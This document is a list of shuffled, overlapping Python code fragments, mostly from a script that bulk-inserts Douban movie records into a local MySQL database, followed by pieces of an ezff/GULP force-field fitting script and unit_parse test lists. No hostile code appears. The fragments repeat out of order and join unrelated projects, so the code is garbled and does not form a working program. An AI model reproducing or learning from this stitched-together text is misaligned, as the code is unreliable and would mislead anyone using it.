"= 'insert into rate(name,category,rate) values(%s,%s,%s)' self.__insert_many(sql, params) if __name__ ==",
"import pymysql.cursors import pprint class MySQLdb(object): def __init__(self): self.conn =",
"self.cursor = self.conn.cursor() def close(self): self.conn.close() self.cursor.close() # 批量插入 def",
"close(self): self.conn.close() self.cursor.close() # 批量插入 def __insert_many(self, sql, params): self.cursor.executemany(sql,",
"= MySQLdb() try: db.insert_movie(movies) except Exception as e: raise e",
"pd.read_csv(inputFile, sep='^') movies = np.array(movies_df).tolist() db = MySQLdb() try: db.insert_movie(movies)",
"def insert_movie(self, params): sql = 'insert into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+ \\",
"'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql, params) # 统计数据插入 def insert_rate(self, params): sql =",
"= pymysql.connect( host='localhost', user='root', passwd='<PASSWORD>', db='douban_movie', port=8889, charset='utf8', cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True)",
"__init__(self): self.conn = pymysql.connect( host='localhost', user='root', passwd='<PASSWORD>', db='douban_movie', port=8889, charset='utf8',",
"<reponame>aloneZERO/douban-movie-visualization #!python3 ''' 数据库操作类 author: justZero email: <EMAIL> date: 2017-8-6",
"电影数据插入 def insert_movie(self, params): sql = 'insert into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+",
"self.cursor.executemany(sql, params) # 电影数据插入 def insert_movie(self, params): sql = 'insert",
"''' import time import pandas as pd import numpy as",
"db='douban_movie', port=8889, charset='utf8', cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True) self.cursor = self.conn.cursor() def close(self):",
"''' 数据库操作类 author: justZero email: <EMAIL> date: 2017-8-6 ''' import",
"<EMAIL> date: 2017-8-6 ''' import time import pandas as pd",
"= 'insert into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+ \\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql, params) #",
"try: db.insert_movie(movies) except Exception as e: raise e finally: db.close()",
"def __init__(self): self.conn = pymysql.connect( host='localhost', user='root', passwd='<PASSWORD>', db='douban_movie', port=8889,",
"'+ \\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql, params) # 统计数据插入 def insert_rate(self, params):",
"== '__main__': inputFile = 'data/douban_movie_clean.txt' movies_df = pd.read_csv(inputFile, sep='^') movies",
"# 统计数据插入 def insert_rate(self, params): sql = 'insert into rate(name,category,rate)",
"import pandas as pd import numpy as np import pymysql",
"pandas as pd import numpy as np import pymysql import",
"movies_df = pd.read_csv(inputFile, sep='^') movies = np.array(movies_df).tolist() db = MySQLdb()",
"'insert into rate(name,category,rate) values(%s,%s,%s)' self.__insert_many(sql, params) if __name__ == '__main__':",
"into rate(name,category,rate) values(%s,%s,%s)' self.__insert_many(sql, params) if __name__ == '__main__': inputFile",
"port=8889, charset='utf8', cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True) self.cursor = self.conn.cursor() def close(self): self.conn.close()",
"cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True) self.cursor = self.conn.cursor() def close(self): self.conn.close() self.cursor.close() #",
"self.conn.autocommit(True) self.cursor = self.conn.cursor() def close(self): self.conn.close() self.cursor.close() # 批量插入",
"params) # 电影数据插入 def insert_movie(self, params): sql = 'insert into",
"import pymysql import pymysql.cursors import pprint class MySQLdb(object): def __init__(self):",
"params): self.cursor.executemany(sql, params) # 电影数据插入 def insert_movie(self, params): sql =",
"import time import pandas as pd import numpy as np",
"into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+ \\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql, params) # 统计数据插入 def",
"pymysql.connect( host='localhost', user='root', passwd='<PASSWORD>', db='douban_movie', port=8889, charset='utf8', cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True) self.cursor",
"user='root', passwd='<PASSWORD>', db='douban_movie', port=8889, charset='utf8', cursorclass=pymysql.cursors.DictCursor) self.conn.autocommit(True) self.cursor = self.conn.cursor()",
"pd import numpy as np import pymysql import pymysql.cursors import",
"sql = 'insert into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+ \\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql, params)",
"self.conn = pymysql.connect( host='localhost', user='root', passwd='<PASSWORD>', db='douban_movie', port=8889, charset='utf8', cursorclass=pymysql.cursors.DictCursor)",
"time import pandas as pd import numpy as np import",
"as np import pymysql import pymysql.cursors import pprint class MySQLdb(object):",
"pymysql import pymysql.cursors import pprint class MySQLdb(object): def __init__(self): self.conn",
"sep='^') movies = np.array(movies_df).tolist() db = MySQLdb() try: db.insert_movie(movies) except",
"author: justZero email: <EMAIL> date: 2017-8-6 ''' import time import",
"values(%s,%s,%s)' self.__insert_many(sql, params) if __name__ == '__main__': inputFile = 'data/douban_movie_clean.txt'",
"np import pymysql import pymysql.cursors import pprint class MySQLdb(object): def",
"批量插入 def __insert_many(self, sql, params): self.cursor.executemany(sql, params) # 电影数据插入 def",
"def close(self): self.conn.close() self.cursor.close() # 批量插入 def __insert_many(self, sql, params):",
"movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+ \\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql, params) # 统计数据插入 def insert_rate(self,",
"justZero email: <EMAIL> date: 2017-8-6 ''' import time import pandas",
"MySQLdb() try: db.insert_movie(movies) except Exception as e: raise e finally:",
"# 电影数据插入 def insert_movie(self, params): sql = 'insert into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description)",
"rate(name,category,rate) values(%s,%s,%s)' self.__insert_many(sql, params) if __name__ == '__main__': inputFile =",
"#!python3 ''' 数据库操作类 author: justZero email: <EMAIL> date: 2017-8-6 '''",
"email: <EMAIL> date: 2017-8-6 ''' import time import pandas as",
"class MySQLdb(object): def __init__(self): self.conn = pymysql.connect( host='localhost', user='root', passwd='<PASSWORD>',",
"self.__insert_many(sql, params) if __name__ == '__main__': inputFile = 'data/douban_movie_clean.txt' movies_df",
"\\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql, params) # 统计数据插入 def insert_rate(self, params): sql",
"if __name__ == '__main__': inputFile = 'data/douban_movie_clean.txt' movies_df = pd.read_csv(inputFile,",
"__name__ == '__main__': inputFile = 'data/douban_movie_clean.txt' movies_df = pd.read_csv(inputFile, sep='^')",
"2017-8-6 ''' import time import pandas as pd import numpy",
"self.__insert_many(sql, params) # 统计数据插入 def insert_rate(self, params): sql = 'insert",
"__insert_many(self, sql, params): self.cursor.executemany(sql, params) # 电影数据插入 def insert_movie(self, params):",
"params): sql = 'insert into movie(movieId,title,url,cover,rate,director,composer,actor,category,district,language,showtime,length,othername,description) '+ \\ 'values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' self.__insert_many(sql,",
"= 'data/douban_movie_clean.txt' movies_df = pd.read_csv(inputFile, sep='^') movies = np.array(movies_df).tolist() db",
"'data/douban_movie_clean.txt' movies_df = pd.read_csv(inputFile, sep='^') movies = np.array(movies_df).tolist() db =",
"数据库操作类 author: justZero email: <EMAIL> date: 2017-8-6 ''' import time",
"sql, params): self.cursor.executemany(sql, params) # 电影数据插入 def insert_movie(self, params): sql",
"self.cursor.close() # 批量插入 def __insert_many(self, sql, params): self.cursor.executemany(sql, params) #",
"params): sql = 'insert into rate(name,category,rate) values(%s,%s,%s)' self.__insert_many(sql, params) if",
"MySQLdb(object): def __init__(self): self.conn = pymysql.connect( host='localhost', user='root', passwd='<PASSWORD>', db='douban_movie',",
"inputFile = 'data/douban_movie_clean.txt' movies_df = pd.read_csv(inputFile, sep='^') movies = np.array(movies_df).tolist()",
"self.conn.close() self.cursor.close() # 批量插入 def __insert_many(self, sql, params): self.cursor.executemany(sql, params)",
"pymysql.cursors import pprint class MySQLdb(object): def __init__(self): self.conn = pymysql.connect("
] |
[
"= 'reaxff') md_gs_job.options['pbc'] = False md_gs_job.options['relax_atoms'] = False md_gs_job.options['relax_cell'] =",
"= False md_gs_job.options['relax_cell'] = False # Run GULP calculation md_gs_job.run(command='gulp')",
"FFtype = 'reaxff') md_gs_job.options['pbc'] = False md_gs_job.options['relax_atoms'] = False md_gs_job.options['relax_cell']",
"md_gs_job.options['relax_cell'] = False # Run GULP calculation md_gs_job.run(command='gulp') # Read",
"1, variable_bounds = bounds, error_function = my_error_function, template = template)",
"False # Run GULP calculation md_scan_job.run(command='gulp') # Read output from",
"clean-up md_scan_energy = md_scan_job.read_energy() md_scan_job.cleanup() # Calculate error total_error =",
"Calculate error total_error = ezff.error_energy( md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy, weights = 'uniform')",
"md_gs_job.cleanup() # Calculate PES Scan md_scan_job = gulp.job(path = path)",
"= ezff.error_energy( md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy, weights = 'uniform') return [total_error] #",
"Set to '0' for serial jobs try: path = str(pool.rank)",
"truths gt_gs = qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy = qchem.read_energy('ground_truths/optCHOSx.out') gt_scan = qchem.read_structure('ground_truths/scanCHOSx.out')",
"gulp.job(path = path) md_gs_job.structure = gt_gs md_gs_job.forcefield = ezff.generate_forcefield(template, rr,",
"= '0' # Calculate Ground State md_gs_job = gulp.job(path =",
"gt_gs md_gs_job.forcefield = ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_gs_job.options['pbc'] =",
"my_error_function(rr): # Get a unique path for GULP jobs from",
"Calculate PES Scan md_scan_job = gulp.job(path = path) md_scan_job.structure =",
"'reaxff') md_scan_job.options['pbc'] = False md_scan_job.options['relax_atoms'] = False md_scan_job.options['relax_cell'] = False",
"md_scan_job = gulp.job(path = path) md_scan_job.structure = gt_scan md_scan_job.forcefield =",
"problem = ezff.OptProblem(num_errors = 1, variable_bounds = bounds, error_function =",
"for serial jobs try: path = str(pool.rank) except: path =",
"Read output from completed GULP job and clean-up md_gs_energy =",
"ezff from ezff.interfaces import gulp, qchem # Define ground truths",
"import ezff from ezff.interfaces import gulp, qchem # Define ground",
"= 1, variable_bounds = bounds, error_function = my_error_function, template =",
"= ezff.Algorithm(problem, 'NSGAII', population = 16) ezff.optimize(problem, algorithm, iterations =",
"bounds = ezff.read_variable_bounds('variable_bounds', verbose=False) template = ezff.read_forcefield_template('template') problem = ezff.OptProblem(num_errors",
"= my_error_function, template = template) algorithm = ezff.Algorithm(problem, 'NSGAII', population",
"= False md_scan_job.options['relax_atoms'] = False md_scan_job.options['relax_cell'] = False # Run",
"md_gs_job = gulp.job(path = path) md_gs_job.structure = gt_gs md_gs_job.forcefield =",
"= md_gs_job.read_energy() md_gs_job.cleanup() # Calculate PES Scan md_scan_job = gulp.job(path",
"template = template) algorithm = ezff.Algorithm(problem, 'NSGAII', population = 16)",
"ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_scan_job.options['pbc'] = False md_scan_job.options['relax_atoms'] =",
"= ezff.read_variable_bounds('variable_bounds', verbose=False) template = ezff.read_forcefield_template('template') problem = ezff.OptProblem(num_errors =",
"PES Scan md_scan_job = gulp.job(path = path) md_scan_job.structure = gt_scan",
"= ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_scan_job.options['pbc'] = False md_scan_job.options['relax_atoms']",
"Run GULP calculation md_gs_job.run(command='gulp') # Read output from completed GULP",
"gt_scan md_scan_job.forcefield = ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_scan_job.options['pbc'] =",
"rr, FFtype = 'reaxff') md_scan_job.options['pbc'] = False md_scan_job.options['relax_atoms'] = False",
"from the MPI rank. Set to '0' for serial jobs",
"md_scan_job.structure = gt_scan md_scan_job.forcefield = ezff.generate_forcefield(template, rr, FFtype = 'reaxff')",
"md_gs_energy = md_gs_job.read_energy() md_gs_job.cleanup() # Calculate PES Scan md_scan_job =",
"md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy, weights = 'uniform') return [total_error] # Read template",
"= 'reaxff') md_scan_job.options['pbc'] = False md_scan_job.options['relax_atoms'] = False md_scan_job.options['relax_cell'] =",
"md_gs_job.options['pbc'] = False md_gs_job.options['relax_atoms'] = False md_gs_job.options['relax_cell'] = False #",
"<reponame>sctiwari/EZFF_ASE<filename>examples/rxff-serial/run.py import ezff from ezff.interfaces import gulp, qchem # Define",
"md_gs_job.forcefield = ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_gs_job.options['pbc'] = False",
"GULP job and clean-up md_gs_energy = md_gs_job.read_energy() md_gs_job.cleanup() # Calculate",
"'reaxff') md_gs_job.options['pbc'] = False md_gs_job.options['relax_atoms'] = False md_gs_job.options['relax_cell'] = False",
"from completed GULP job and clean-up md_scan_energy = md_scan_job.read_energy() md_scan_job.cleanup()",
"for GULP jobs from the MPI rank. Set to '0'",
"gulp, qchem # Define ground truths gt_gs = qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy",
"md_scan_job.cleanup() # Calculate error total_error = ezff.error_energy( md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy, weights",
"job and clean-up md_gs_energy = md_gs_job.read_energy() md_gs_job.cleanup() # Calculate PES",
"qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy = qchem.read_energy('ground_truths/scanCHOSx.out') def my_error_function(rr): # Get a unique",
"md_scan_job.read_energy() md_scan_job.cleanup() # Calculate error total_error = ezff.error_energy( md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy,",
"FFtype = 'reaxff') md_scan_job.options['pbc'] = False md_scan_job.options['relax_atoms'] = False md_scan_job.options['relax_cell']",
"gt_scan_energy = qchem.read_energy('ground_truths/scanCHOSx.out') def my_error_function(rr): # Get a unique path",
"ezff.Algorithm(problem, 'NSGAII', population = 16) ezff.optimize(problem, algorithm, iterations = 5)",
"md_scan_energy = md_scan_job.read_energy() md_scan_job.cleanup() # Calculate error total_error = ezff.error_energy(",
"path) md_scan_job.structure = gt_scan md_scan_job.forcefield = ezff.generate_forcefield(template, rr, FFtype =",
"Run GULP calculation md_scan_job.run(command='gulp') # Read output from completed GULP",
"= bounds, error_function = my_error_function, template = template) algorithm =",
"Calculate Ground State md_gs_job = gulp.job(path = path) md_gs_job.structure =",
"gulp.job(path = path) md_scan_job.structure = gt_scan md_scan_job.forcefield = ezff.generate_forcefield(template, rr,",
"calculation md_scan_job.run(command='gulp') # Read output from completed GULP job and",
"to '0' for serial jobs try: path = str(pool.rank) except:",
"False md_scan_job.options['relax_cell'] = False # Run GULP calculation md_scan_job.run(command='gulp') #",
"ranges bounds = ezff.read_variable_bounds('variable_bounds', verbose=False) template = ezff.read_forcefield_template('template') problem =",
"serial jobs try: path = str(pool.rank) except: path = '0'",
"import gulp, qchem # Define ground truths gt_gs = qchem.read_structure('ground_truths/optCHOSx.out')",
"Define ground truths gt_gs = qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy = qchem.read_energy('ground_truths/optCHOSx.out') gt_scan",
"# Run GULP calculation md_gs_job.run(command='gulp') # Read output from completed",
"False md_scan_job.options['relax_atoms'] = False md_scan_job.options['relax_cell'] = False # Run GULP",
"= qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy = qchem.read_energy('ground_truths/optCHOSx.out') gt_scan = qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy =",
"GULP jobs from the MPI rank. Set to '0' for",
"completed GULP job and clean-up md_gs_energy = md_gs_job.read_energy() md_gs_job.cleanup() #",
"str(pool.rank) except: path = '0' # Calculate Ground State md_gs_job",
"unique path for GULP jobs from the MPI rank. Set",
"clean-up md_gs_energy = md_gs_job.read_energy() md_gs_job.cleanup() # Calculate PES Scan md_scan_job",
"variable ranges bounds = ezff.read_variable_bounds('variable_bounds', verbose=False) template = ezff.read_forcefield_template('template') problem",
"= ezff.OptProblem(num_errors = 1, variable_bounds = bounds, error_function = my_error_function,",
"output from completed GULP job and clean-up md_gs_energy = md_gs_job.read_energy()",
"variable_bounds = bounds, error_function = my_error_function, template = template) algorithm",
"total_error = ezff.error_energy( md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy, weights = 'uniform') return [total_error]",
"algorithm = ezff.Algorithm(problem, 'NSGAII', population = 16) ezff.optimize(problem, algorithm, iterations",
"a unique path for GULP jobs from the MPI rank.",
"template = ezff.read_forcefield_template('template') problem = ezff.OptProblem(num_errors = 1, variable_bounds =",
"# Calculate PES Scan md_scan_job = gulp.job(path = path) md_scan_job.structure",
"job and clean-up md_scan_energy = md_scan_job.read_energy() md_scan_job.cleanup() # Calculate error",
"= gt_scan md_scan_job.forcefield = ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_scan_job.options['pbc']",
"verbose=False) template = ezff.read_forcefield_template('template') problem = ezff.OptProblem(num_errors = 1, variable_bounds",
"= False md_gs_job.options['relax_atoms'] = False md_gs_job.options['relax_cell'] = False # Run",
"= False # Run GULP calculation md_scan_job.run(command='gulp') # Read output",
"= ezff.read_forcefield_template('template') problem = ezff.OptProblem(num_errors = 1, variable_bounds = bounds,",
"template) algorithm = ezff.Algorithm(problem, 'NSGAII', population = 16) ezff.optimize(problem, algorithm,",
"md_gs_job.options['relax_atoms'] = False md_gs_job.options['relax_cell'] = False # Run GULP calculation",
"False # Run GULP calculation md_gs_job.run(command='gulp') # Read output from",
"# Read output from completed GULP job and clean-up md_gs_energy",
"ezff.error_energy( md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy, weights = 'uniform') return [total_error] # Read",
"md_scan_job.options['relax_cell'] = False # Run GULP calculation md_scan_job.run(command='gulp') # Read",
"ezff.OptProblem(num_errors = 1, variable_bounds = bounds, error_function = my_error_function, template",
"path) md_gs_job.structure = gt_gs md_gs_job.forcefield = ezff.generate_forcefield(template, rr, FFtype =",
"[total_error] # Read template and variable ranges bounds = ezff.read_variable_bounds('variable_bounds',",
"ground truths gt_gs = qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy = qchem.read_energy('ground_truths/optCHOSx.out') gt_scan =",
"# Calculate Ground State md_gs_job = gulp.job(path = path) md_gs_job.structure",
"qchem # Define ground truths gt_gs = qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy =",
"the MPI rank. Set to '0' for serial jobs try:",
"md_scan_job.options['pbc'] = False md_scan_job.options['relax_atoms'] = False md_scan_job.options['relax_cell'] = False #",
"output from completed GULP job and clean-up md_scan_energy = md_scan_job.read_energy()",
"and variable ranges bounds = ezff.read_variable_bounds('variable_bounds', verbose=False) template = ezff.read_forcefield_template('template')",
"= gulp.job(path = path) md_scan_job.structure = gt_scan md_scan_job.forcefield = ezff.generate_forcefield(template,",
"gt_scan_energy-gt_gs_energy, weights = 'uniform') return [total_error] # Read template and",
"'0' for serial jobs try: path = str(pool.rank) except: path",
"Scan md_scan_job = gulp.job(path = path) md_scan_job.structure = gt_scan md_scan_job.forcefield",
"my_error_function, template = template) algorithm = ezff.Algorithm(problem, 'NSGAII', population =",
"= gulp.job(path = path) md_gs_job.structure = gt_gs md_gs_job.forcefield = ezff.generate_forcefield(template,",
"= md_scan_job.read_energy() md_scan_job.cleanup() # Calculate error total_error = ezff.error_energy( md_scan_energy-md_gs_energy,",
"# Get a unique path for GULP jobs from the",
"Ground State md_gs_job = gulp.job(path = path) md_gs_job.structure = gt_gs",
"= qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy = qchem.read_energy('ground_truths/scanCHOSx.out') def my_error_function(rr): # Get a",
"ezff.read_forcefield_template('template') problem = ezff.OptProblem(num_errors = 1, variable_bounds = bounds, error_function",
"jobs from the MPI rank. Set to '0' for serial",
"qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy = qchem.read_energy('ground_truths/optCHOSx.out') gt_scan = qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy = qchem.read_energy('ground_truths/scanCHOSx.out')",
"and clean-up md_gs_energy = md_gs_job.read_energy() md_gs_job.cleanup() # Calculate PES Scan",
"Read output from completed GULP job and clean-up md_scan_energy =",
"ezff.interfaces import gulp, qchem # Define ground truths gt_gs =",
"return [total_error] # Read template and variable ranges bounds =",
"# Run GULP calculation md_scan_job.run(command='gulp') # Read output from completed",
"= False # Run GULP calculation md_gs_job.run(command='gulp') # Read output",
"gt_gs = qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy = qchem.read_energy('ground_truths/optCHOSx.out') gt_scan = qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy",
"rr, FFtype = 'reaxff') md_gs_job.options['pbc'] = False md_gs_job.options['relax_atoms'] = False",
"MPI rank. Set to '0' for serial jobs try: path",
"= qchem.read_energy('ground_truths/scanCHOSx.out') def my_error_function(rr): # Get a unique path for",
"GULP calculation md_gs_job.run(command='gulp') # Read output from completed GULP job",
"= False md_scan_job.options['relax_cell'] = False # Run GULP calculation md_scan_job.run(command='gulp')",
"'0' # Calculate Ground State md_gs_job = gulp.job(path = path)",
"path for GULP jobs from the MPI rank. Set to",
"State md_gs_job = gulp.job(path = path) md_gs_job.structure = gt_gs md_gs_job.forcefield",
"ezff.read_variable_bounds('variable_bounds', verbose=False) template = ezff.read_forcefield_template('template') problem = ezff.OptProblem(num_errors = 1,",
"path = str(pool.rank) except: path = '0' # Calculate Ground",
"= gt_gs md_gs_job.forcefield = ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_gs_job.options['pbc']",
"def my_error_function(rr): # Get a unique path for GULP jobs",
"completed GULP job and clean-up md_scan_energy = md_scan_job.read_energy() md_scan_job.cleanup() #",
"gt_gs_energy = qchem.read_energy('ground_truths/optCHOSx.out') gt_scan = qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy = qchem.read_energy('ground_truths/scanCHOSx.out') def",
"error total_error = ezff.error_energy( md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy, weights = 'uniform') return",
"= qchem.read_energy('ground_truths/optCHOSx.out') gt_scan = qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy = qchem.read_energy('ground_truths/scanCHOSx.out') def my_error_function(rr):",
"path = '0' # Calculate Ground State md_gs_job = gulp.job(path",
"weights = 'uniform') return [total_error] # Read template and variable",
"gt_scan = qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy = qchem.read_energy('ground_truths/scanCHOSx.out') def my_error_function(rr): # Get",
"calculation md_gs_job.run(command='gulp') # Read output from completed GULP job and",
"'uniform') return [total_error] # Read template and variable ranges bounds",
"= 'uniform') return [total_error] # Read template and variable ranges",
"md_gs_job.structure = gt_gs md_gs_job.forcefield = ezff.generate_forcefield(template, rr, FFtype = 'reaxff')",
"False md_gs_job.options['relax_atoms'] = False md_gs_job.options['relax_cell'] = False # Run GULP",
"False md_gs_job.options['relax_cell'] = False # Run GULP calculation md_gs_job.run(command='gulp') #",
"# Calculate error total_error = ezff.error_energy( md_scan_energy-md_gs_energy, gt_scan_energy-gt_gs_energy, weights =",
"= template) algorithm = ezff.Algorithm(problem, 'NSGAII', population = 16) ezff.optimize(problem,",
"qchem.read_energy('ground_truths/optCHOSx.out') gt_scan = qchem.read_structure('ground_truths/scanCHOSx.out') gt_scan_energy = qchem.read_energy('ground_truths/scanCHOSx.out') def my_error_function(rr): #",
"from ezff.interfaces import gulp, qchem # Define ground truths gt_gs",
"md_gs_job.run(command='gulp') # Read output from completed GULP job and clean-up",
"GULP calculation md_scan_job.run(command='gulp') # Read output from completed GULP job",
"except: path = '0' # Calculate Ground State md_gs_job =",
"Get a unique path for GULP jobs from the MPI",
"ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_gs_job.options['pbc'] = False md_gs_job.options['relax_atoms'] =",
"# Define ground truths gt_gs = qchem.read_structure('ground_truths/optCHOSx.out') gt_gs_energy = qchem.read_energy('ground_truths/optCHOSx.out')",
"= path) md_gs_job.structure = gt_gs md_gs_job.forcefield = ezff.generate_forcefield(template, rr, FFtype",
"error_function = my_error_function, template = template) algorithm = ezff.Algorithm(problem, 'NSGAII',",
"md_gs_job.read_energy() md_gs_job.cleanup() # Calculate PES Scan md_scan_job = gulp.job(path =",
"Read template and variable ranges bounds = ezff.read_variable_bounds('variable_bounds', verbose=False) template",
"and clean-up md_scan_energy = md_scan_job.read_energy() md_scan_job.cleanup() # Calculate error total_error",
"try: path = str(pool.rank) except: path = '0' # Calculate",
"rank. Set to '0' for serial jobs try: path =",
"= path) md_scan_job.structure = gt_scan md_scan_job.forcefield = ezff.generate_forcefield(template, rr, FFtype",
"md_scan_job.options['relax_atoms'] = False md_scan_job.options['relax_cell'] = False # Run GULP calculation",
"GULP job and clean-up md_scan_energy = md_scan_job.read_energy() md_scan_job.cleanup() # Calculate",
"template and variable ranges bounds = ezff.read_variable_bounds('variable_bounds', verbose=False) template =",
"md_scan_job.forcefield = ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_scan_job.options['pbc'] = False",
"from completed GULP job and clean-up md_gs_energy = md_gs_job.read_energy() md_gs_job.cleanup()",
"md_scan_job.run(command='gulp') # Read output from completed GULP job and clean-up",
"qchem.read_energy('ground_truths/scanCHOSx.out') def my_error_function(rr): # Get a unique path for GULP",
"= ezff.generate_forcefield(template, rr, FFtype = 'reaxff') md_gs_job.options['pbc'] = False md_gs_job.options['relax_atoms']",
"= str(pool.rank) except: path = '0' # Calculate Ground State",
"jobs try: path = str(pool.rank) except: path = '0' #",
"# Read output from completed GULP job and clean-up md_scan_energy",
"# Read template and variable ranges bounds = ezff.read_variable_bounds('variable_bounds', verbose=False)",
"bounds, error_function = my_error_function, template = template) algorithm = ezff.Algorithm(problem,"
] |
[
"import * test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) test_split_list = [ # positive control",
"{\"chunks\": [\"is\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpigcow\"], {\"chunks\": [\"i\"]}], [[\"fishpigcow\"], [\"f\",",
"{\"sig_digit\": 15}], [234.2342399999999999, 234.23424, {\"sig_digit\": 15}], [234.2342300000001, 234.23, {\"sig_digit\": 5}],",
"1], [[\"aaa\", \"\"], [\"aaa\"]], [[\"aaa\", []], [\"aaa\"]], [[[\"aaa\", []]], [[\"aaa\"]]],",
"g\"), Q(\"0.5\"), {\"quantity2\": Q(\"10 g\")}], [5, 1, {\"quantity2\": Q(\"10 g\")}],",
"{\"sig_digit\": 5}], [234.2342399999999999, 200, {\"sig_digit\": 1}], [-234.2342399999999999, -200, {\"sig_digit\": 1}],",
"changes) [[\"fish\"], [\"fish\"], {\"chunks\": [\"fish\"]}], [[\"fishpigcow\"], [\"fishpigcow\"], {\"chunks\": [\"z\"]}], [[Unit(\"g\")],",
"[[[\"aaa\"]], 2], [[[\"aaa\", \"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[\"aaa\", \"aaa\",",
"[]], [\"aaa\"]], [[[\"aaa\", []]], [[\"aaa\"]]], [[[\"aaa\", [\"\"]]], [[\"aaa\"]]], # negative",
"[\"asds\"]], [1, 1], [[\"aaa\", \"\"], [\"aaa\"]], [[\"aaa\", []], [\"aaa\"]], [[[\"aaa\",",
"[\"i\"]}], [[\"fishpigcow\"], [\"f\", \"i\", \"shpig\", \"c\", \"ow\"], {\"chunks\": [\"i\", \"c\"]}],",
"-200, {\"sig_digit\": 1}], [-234.2342399999999999, -234.23424, {\"sig_digit\": 15}], # negative control",
"[[\"fish\"], [\"fish\"], {\"chunks\": [\"fish\"]}], [[\"fishpigcow\"], [\"fishpigcow\"], {\"chunks\": [\"z\"]}], [[Unit(\"g\")], [Unit(\"g\")],",
"# positive control (works) [[], None], [[\"\"], None], [[\"asds\"], [\"asds\"]],",
"unit_parse.utils import * test_logger.setLevel(logging.DEBUG) logger.setLevel(logging.DEBUG) test_split_list = [ # positive",
"[\"is\"]}], ] testing_func(split_list, test_split_list) test_round_off = [ # [Input, Output]",
"234.23423, {\"sig_digit\": 15}], [234.2342399999999999, 234.23424, {\"sig_digit\": 15}], [234.2342300000001, 234.23, {\"sig_digit\":",
"-234.23424, {\"sig_digit\": 15}], # negative control (fails) ] testing_func(sig_figs, test_round_off)",
"[[], None], [[\"\"], None], [[\"asds\"], [\"asds\"]], [1, 1], [[\"aaa\", \"\"],",
"[\"aaa\"]], 2], [[[[\"aaa\"], [\"aaa\"], [\"aaa\"]]], 3], # negative control (fails)",
"[[\"aaa\"]]], [[[\"aaa\", [\"\"]]], [[\"aaa\"]]], # negative control (fails) ] testing_func(remove_empty_cells,",
"[[\"aaa\", []], [\"aaa\"]], [[[\"aaa\", []]], [[\"aaa\"]]], [[[\"aaa\", [\"\"]]], [[\"aaa\"]]], #",
"{\"quantity2\": Q(\"10 g\")}], [5, 1, {\"quantity2\": Q(\"10 g\")}], ] testing_func(quantity_difference,",
"test_split_list = [ # positive control (changes) [[\"fish\",\"pig\", \"cow\"], [\"f\",",
"] testing_func(remove_empty_cells, test_remove_empty_cells) examples_quantity_difference = [ [Q(\"5 g\"), Q(\"0.5\"), {\"quantity2\":",
"\"aaa\", \"aaa\"], [\"aaa\"], [\"aaa\"]], 2], [[[[\"aaa\"], [\"aaa\"], [\"aaa\"]]], 3], #",
